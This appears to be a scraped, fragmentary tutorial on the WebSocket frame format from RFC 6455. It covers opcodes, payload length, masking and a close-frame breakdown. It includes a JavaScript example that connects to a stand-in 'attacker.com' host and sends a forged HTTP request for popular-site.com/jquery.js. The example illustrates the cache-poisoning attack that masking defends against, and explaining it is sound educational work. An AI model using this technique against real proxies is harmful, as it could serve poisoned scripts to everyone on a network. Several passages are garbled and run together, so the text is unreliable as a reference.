https://tools.ietf.org/html/rfc6455#section-5.2
Sec-WebSocket-Extensions: permessage-deflate. Your 101 response doesn't accept it, so no extension is used| Opcode | Type |
|---|---|
| 0000 | Continuation Frame |
| 0001 | Text |
| 0010 | Binary |
| 1000 | Close |
| 1001 | Ping |
| 1010 | Pong |
[0x01, 0x2C] as a 16-bit length are 0x012C = 300
0x2C01 = 11265i of the payload was XORed with byte i % 4 of the mask
01001001 01000011 01010101 0010000101111011 00100010 01110101 0111001100110010 01100001 00100000 0101001001001001 01000011 01010101 00100001Upgrade
const socket = new WebSocket("ws://attacker.com/websocket");
socket.send("GET /jquery.js HTTP/1.1\r\nHost: popular-site.com\r\n\r\n");popular-site.com/jquery.js on a connection to the attacker's server
popular-site.com/jquery.js for everyone on the networkA server (no mask) closing normally (status code 1000, no reason): 0x88 0x02 0x03 0xE8
| Byte | Bits | Meaning |
|---|---|---|
| 0 | 10001000 |
FIN = 1, RSV = 000, opcode = 1000 (close) |
| 1 | 00000010 |
MASK = 0, payload length = 2 |
| 2-3 | 00000011 11101000 |
Status code 0x03E8 = 1000 (big-endian) |
| 4+ | Optional reason in UTF-8 (none here) |
code := binary.BigEndian.Uint16(payload[0:2])